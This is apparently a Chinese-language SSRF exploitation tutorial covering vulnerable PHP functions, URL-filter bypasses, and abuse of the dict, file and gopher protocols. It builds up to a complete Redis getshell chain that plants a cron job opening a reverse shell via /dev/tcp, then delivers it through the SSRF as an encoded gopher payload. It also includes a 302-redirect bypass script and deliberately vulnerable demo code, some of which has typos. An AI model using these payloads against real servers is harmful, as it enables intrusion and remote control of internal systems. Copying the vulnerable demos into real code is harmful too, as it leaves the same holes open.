SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF的目标是是从外网无法访问的内网系统。

0x01 形成原因

  • 一般情况下,大部分的服务器都可以访问自身所在的内网
  • 服务器提供了从其他服务器获取应用数据的功能
  • 没有对目标地址做过滤和限制,目标地址用户自身可控

0x02 一些可能会产生SSRF漏洞的函数

file_get_contents()

把整个文件读取到一个字符串中。也可以url当作文件读取内容。

  1. file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int $maxlen ]]]] ) : string

demo:

  1. <?php
  2. if(isset($_POST['url'])){
  3. $content = file_get_contents($_POST['url']);
  4. $filename = './images/'.rand().';img1.jpg';
  5. file_put_contents($filename,$content);
  6. echo $_POST['url'];
  7. $img = "<img src=\"",$filename."\"/>";
  8. }
  9. echo $img;
  10. ?>

poc: http://example.com(POST)url=http://192.168.1.1/

fsockopen()

fsockopen打开一个网络连接或者一个Unix套接字连接

  1. fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] ) : resource

可控制产生漏洞的两个参数$host $port
demo:

  1. <?php
  2. function GetFile($host,$port,$link){
  3. $fp = fsockopen($host,intval($port),$errno,$errstr,30);
  4. if($fp){
  5. echo "$errstr(error number $errno) \n";
  6. }
  7. else {
  8. $out - "GET $link HTTP/1.1\r\n";
  9. $out .= "Host: $hostr\r\n";
  10. $out .= "Connection: Close\r\n\r\n";
  11. $out .= "\r\n";
  12. fwrite($fp,$out);
  13. $contents='';
  14. while (!feof($fp)){
  15. $contents.= fgets($fp,1024);
  16. }
  17. fclose($fp);
  18. return $contents;
  19. }
  20. }
  21. ?>

poc: GetFile(‘192.168.1.1’,’80’,’’)

curl_exec()

执行curl会话。
这个函数应该在初始化一个 cURL 会话并且全部的选项都被设置后被调用。

  1. curl_exec ( resource $ch ) : mixed

demo:

  1. <?php
  2. if(isset($_POST['url'])){
  3. $link = $_POST['url'];
  4. $curlobj = curl_init(); //初始化
  5. curl_setopt($curlobj,CURLOPT_POST,0);
  6. curl_setopt($curlobj,CURLOPT_URL,$link);
  7. curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,1);
  8. $result = curl_exec($curlobj);//执行url对话
  9. curl_close($curlobj);
  10. $filename = './curled/'.rand().'.txt';
  11. file_put_contents($filename,$result);
  12. echo $result;
  13. }
  14. ?>

poc: http://example.com(POST)url=http://192.168.1.1/

filter_var() bypass

filter_var 使用特定的过滤器过滤一个变量
preg_match() 该函数使用正则表达式来进行匹配特定的字符串
parse_url() 解析一个url并返回关联数组 包含url的各种组成部分
url格式:

schema:[//[user[:password]@]host[:port][/path][?query]#fragment
https://root:123456@example.com:80/test.php?p=v#hash

demo:
此php代码对参数url由filter_var指定过滤器过滤,再由parse_url获取host,然后由preg_match进行正则匹配,最后exec执行命令

<?php
    $url = $_GET['url'];
    echo "Argument: ".$url."\n";
    //check if argument is a valid URL
    if(filter_var($url, FILTER_VALIDATE_URL)){
        //parse URL
        $r = parse_url($url);
        var_dump($r);
        //check if host ends with google.com
        if(preg_match('/baidu\.com$/', $r['host'])){
            //get page from URL
            exec('curl -v -s "'.$r['host'].'"', $a);
            print_r($a);
        }else{
            echo "Error: Host not allowed";
        }
    }else{
        echo "Error: Invalid URL";
    }
?>

正常执行 http://example.com/test.php?url=http://baidu.com 返回正常内容
绕过思路:
用0协议绕过filter_var() 添加;baidu.com绕过正则

0://192.168.1.1.com;baidu.com

添加我们所需端口 使得url可以解析

0://192.168.1.1.com:8080;baidu.com:80

poc: http://example.com/test.php?url=0://192.168.1.1.com:8080;baidu.com:80/

liburl() 与 parse_url()

liburl

  • host:匹配第一个@后面符合格式的host

parse_url

  • host:匹配最后一个@后面符合格式的host

demo:

http://user:pass@a.com@b.com

libcurl:
schema:http
host:a.com
user:user
pass:pass
port:80

parse_url:
schema:http
host:b.com
user:user
pass:pass@a.com:80

0x03 绕过方式

ip编码绕过

www.ip.xip.io
访问与xip.io相近的ip地址
demo: www.baidu.com.192.168.1.1,xip.io 访问192.168.1.1

www.ip.xip.name
同xip.io

ip转换为10进制
例如192.168.1.1
十进制:192 256^3 + 168 256^2 + 1 * 256 + 1 = 3232235777

协议利用

除了使用http/https 还可以采用其他协议对内网进行读取

dict

dict://192.168.1.1/test:dict
利用dict探测端口如下
本地利用:

curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'

远程利用(ssrf1.php):

curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'

File

file:///etc/passwd file读取文件
本地利用:

curl -v 'file:///etc/passwd'

远程利用(ssrf1.php):

curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'

Gopher

在http协议之前最流行的协议。SSRF攻击常用协议。
利用Gopher可以攻击内网FTP Telnet Redis Memcache,也可以进行get post请求 利用Gopher反弹shell
gopher://192.168.1.1/gopher

一个利用Gopher攻击内网redis的demo:

0x01 有SSRF漏洞代码

<?php
$ch = curl_init(); //初始化
curl_setopt($curlobj,CURLOPT_HEADER,0);
curl_setopt($curlobj,CURLOPT_URL,$_GET["url"]);
curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,1);
$result = curl_exec($ch);//执行url对话
curl_close($curlobj);
?>

0x02 Redis Getshell 脚本

redis-cli -h $ flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
redis-cli -h $1 -p $2 quit

执行脚本bash shell.sh 127.0.0.1 6379
如果我们想要Redis攻击的TCP数据包 使用socat进行端口转发socat -v tcp-listen:4444,fork tcp-connect:localhost:6379 再执行脚本bash shell.sh 127.0.0.1 4444

捕获到的数据如下

> 2017/10/11 01:24:52.432446  length=85 from=0 to=84
*3\r
$3\r
set\r
$1\r
1\r
$58\r



*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1



\r
< 2017/10/11 01:24:52.432685  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.435153  length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2017/10/11 01:24:52.435332  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.437594  length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2017/10/11 01:24:52.437760  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.439943  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2017/10/11 01:24:52.443318  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.446034  length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2017/10/11 01:24:52.446148  length=5 from=0 to=4
+OK\r

0x03 转换为Gopher协议
在得到TCP数据后 按照一定的规则进行字符串转换
转换规则:

  • 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  • 将\r字符串替换成%0d%0a
  • 空白行替换为%0a

执行脚本转换:python tran2gopher.py socat.log

*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

注意:$58为字符串长度 如果要换ip和端口 $58也要变换 一定要大于等于字符串长度

curl 测试写入 加上前缀字符串gopher://127.0.0.1:6379/_

curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

返回五个ok 证明没问题

+OK
+OK
+OK
+OK
+OK

最后执行将’gopher://127.0.1.1:6379…..’ 进行url编码 赋给php代码变量url 执行poc

curl -v 'http://127.0.0.1/ssrf.php?
url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%
250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2
A%20bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d
%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250
a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250
d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen
ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2
A1%250d%250a%244%250d%250aquit%250d%250a'

执行即可在/var/spool/cron/下生成一个名为root的定时任务,任务为反弹shell

30x跳转绕过

构造302.php 利用302跳转访问内网地址
含漏洞demo:

<?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);//跳转为true
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
ptint $url;
curl($url);
?>

构造302.php

<?php
$schema = $_GET['schema'];
$ip = $_GET['ip'];
$port = $_GET['post'];
$query = $_GET['query'];

echo "\n";
echo $schema."://".$ip."/".$query;
if(empty($port)){
    header("Location: $schema://$ip/$query");
else
    header("Location: $schema://$ip:$port/query");
}
?>

我们可以给302.php一些内网参数 再赋给url来允许访问302.php进行跳转同时传入内网参数

url=http://192.168.1.1/302.php?schema=http&ip=127.0.0.1&port=80
url=http://192.168.1.1/302.php?schema=dict&ip=127.0.0.1&port=29362&query=info
url=http://192.168.1.1/302.php?schema=gopher&ip=127.0.0.1&port=2333&query=666

附录代码

ssrf1.php 未做任何ssrf防御

function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);

ssrf2.php 限制协议为http/https 重定向为true

<?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
    // 限制为HTTPS、HTTP协议
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

tran2gopher.py Gopher格式转换

#coding: utf-8
#author: JoyChou
import sys
exp = ''
with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第2、3字符串是否为\r
        elif line[-3:-1] == r'\r':
            # 如果该行只有\r,将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp